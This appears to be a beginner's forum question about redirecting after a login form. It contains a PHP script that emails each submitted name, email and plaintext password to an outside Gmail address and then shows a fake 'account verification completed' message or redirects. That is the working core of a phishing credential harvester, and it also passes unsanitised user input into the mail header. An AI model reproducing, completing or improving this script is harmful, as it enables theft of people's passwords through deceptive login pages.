I am new to this and I am trying to learn how to code. After subimiting the login and pass and press login, I would like to redirect to another page on my website (index.php
).
This is the mail.php
code
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
$formcontent=" From: $name \n $password \n email: $email \n ";
$recipient = "myemail@gmail.com";
$subject = "Contact Form";
$mailheader = "From: $email \r\n";
mail($recipient, $subject, $formcontent, $mailheader, $password) or die("Error!");
if(isset($_POST['mail'])){
// Fetching variables of the form which travels in URL
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
if($name !=''&& $email !=''&& $password !='')
{
// To redirect form on a particular page
header("Location:http://www.mywebsite.com");
}
else{
?><span><?php echo "Thank You! Your account verification was completed successfully";?></span> <?php
}
}
?>